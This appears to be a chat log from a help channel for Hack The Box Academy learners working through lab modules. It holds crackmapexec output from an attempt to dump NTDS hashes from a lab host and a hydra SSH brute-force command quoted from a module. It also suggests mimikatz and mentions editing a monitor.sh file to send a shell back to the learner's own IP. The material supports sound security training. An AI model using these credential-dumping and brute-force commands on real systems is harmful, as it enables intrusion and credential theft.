└─$ crackmapexec smb 10.129.201.234 -u 'adunn' -p 'REDACTED'
SMB         10.129.201.234  445    ACADEMY-EA-MS01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-MS01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB         10.129.201.234  445    ACADEMY-EA-MS01  [+] INLANEFREIGHT.LOCAL\adunn:REDACTED (Pwn3d!)

[next bronze]

ok then add --ntds at the back

[placid edge]

SMB         10.129.201.234  445    ACADEMY-EA-MS01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-MS01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB         10.129.201.234  445    ACADEMY-EA-MS01  [+] INLANEFREIGHT.LOCAL\adunn:REDACTED (Pwn3d!)
SMB         10.129.201.234  445    ACADEMY-EA-MS01  [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.201.234  445    ACADEMY-EA-MS01  [+] Dumped 0 NTDS hashes to /home/points/.cme/logs/ACADEMY-EA-MS01_10.129.201.234_2024-02-01_071319.ntds of which 0 were added to the database

[next bronze]

hm reset the target

[placid edge]

yeah i mean i just recently started it as well. Was stuck on this last night as well

[next bronze]

what module and section

[placid edge]

i can dump lsa and sam hashes just fine as well

DCSync

https://academy.hackthebox.com/module/143/section/1489

i have gotten 2 out of 3 questions

only this part left

[spare pilot]

Hello! Im stuck on the login brute forcing module - it seems that the target is not allowing password login so I cannot brute force the password. In my opinion this is something that has to be configured from the target side which cannot be done. Right now i'm gettin a error "Permission denied (publickey).", last time i tried it I got something along the lines of "Target has not allowed password logins". Could anyone give me a hint on what to do?

[fathom pendant]

Well that means it needs an rsa key

[spare pilot]

Yes but the public key has to be added to the target I understand?

[fathom pendant]

No

It means you'd need to find it and add it to your command to log in

So ssh isn't the way to start this

[spare pilot]

hmm okay

In learning they are using hydra to brute force the password but i guess there is a additional step there than?

[fathom pendant]

Scan the target

They're likely using hydra against a different service, or a web login

[spare pilot]

They are doing this in the tutorial: hydra -L bill.txt -P william.txt -u -f ssh://178.35.49.134:22 -t 4

and just getting the usename and password with brute forcing

[fathom pendant]

"Tutorial" you mean the module's sections

[spare pilot]

yes, sorry

[fathom pendant]

You should be able to adapt your command to your usecase

If given a public ip:port, start there

[spare pilot]

i will try, thanks

[fathom pendant]

Step -1; assess your target

[next bronze]

that is weird, use mimikatz

[rough acorn]

Is there an issue with servers since yesterday? I have been trying to do the Password Attack Labs easy since yesterday but I am never getting any open port on the target. I tried restarting the machine.

uhm, nerver mind. It seems the syn scan was messing things up

[wheat sinew]

We are currently facing some issues with targets spawning
Attempt changing VPN servers and respawning the targets as the current behavior is intermittent.

Does this mean I actually have to work, at work.. instead of doing labs? :'(

[fathom pendant]

I mean it gives instructions on basic troubleshooting to fix ¯_(ツ)_/¯

[novel finch]

Hello everyone

I was hoping I could get some help with Nibbles box?

[fathom pendant]

You mean as part of the getting-started module?

Because that module gives you a pretty decent walk-through

Just some critical thinking required to change a few things

[novel finch]

Yeah, I actually got like 95% of the way done

[faint rampart]

I hope this gets compensated with a free 2 weeks streak freeze 😅

[novel finch]

My biggest issue is actually when I go to ammend the monitor.sh file, it doesn't ammend properly with the command that you're advised to give. Of course I change the i.p address in the command so it's directe to me, but even then it says that monitor.sh doesn't exist

[wheat sinew]

XD

[fathom pendant]

Did you unzip the personal.zip?

Did you cd to the directory that has it?

[novel finch]

Yes! 😄

[novel finch]

But not mine 🥲

I'm gonna re-try it again rn and I'll let you know how I get on ^^

[fathom pendant]

You're doing the command via the nc connection yeah? Not your machine?